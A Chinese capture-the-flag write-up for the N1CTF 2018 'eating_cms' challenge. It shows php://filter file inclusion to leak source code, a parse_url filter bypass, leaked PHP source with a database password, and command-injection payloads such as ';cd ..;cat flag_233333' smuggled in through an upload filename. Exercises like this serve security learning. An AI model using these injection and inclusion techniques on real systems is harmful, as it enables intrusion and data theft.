[N1CTF 2018]eating_cms 1

信息收集,文件上传,rce,代码审计


打开之后是一个登录页面,同时他的url是login,呢么第一反应应该是看看有没有register.php发现是有的,..

但是admin是注册不了的,呢么我们先随机注册一个尝试看看能不能更改权限,

登陆上之后发现是没有session的也就是目前没办法切换admin账号,但是url可以看出,这里可能存在文件包含之类的,
测试之后发现是有文件包含在里的用伪协议读取

/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
    Header("Location: user.php?page=info");
}
else{
    include "templates/index.html";
}
?

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

config.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}
?

hacker.php

<?php
    include("templates/hacker.html");
?>

然后这里不难发现是由flag的信息的,

也就是说我们可能要去读取呢个和flag有关的文件,但是这里有个parse_url() parse_str()这两个函数这个我也查到过相关资料,这里就直接给大家绕过方法

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

可以发现读到了flag相关文件
ffffllllaaaaggg.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

m4aaannngggeee.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

然后发现给我们了一个upload的网页,我们尝试访问一下

发现是有一个文件上传的
这样的话我们就可以去尝试上传文件

可以在报错中发现这是有一个php文件的我们尝试去读取他的源码
和刚刚的方法是一样的
upllloadddd.php

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

这里就有个很明显的漏洞了

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

发现他会对我们的文件名进行命令执行,然后进行输出可以看到他是对前后进行拼接的,如果我们在这里传入;给分割开,呢么我们就相当于拿到了shell
但是在这直接上传文件发现是假的,呢既然这样的话呢我们不妨尝试去url一下我们之前的文件发现manager有东西

可能真正的位置在这里
继续尝试上传

;ls


发现是爆装备了

之后我们尝试ls /发现被绊了ls ../也不行,呢么我们只能先进行目录穿越了

;cd ..;ls

;cd ..;cat flag_233333


得到flag

posted @ 2024-07-17 14:40  z3ghxxx  阅读(54)  评论(0)    收藏  举报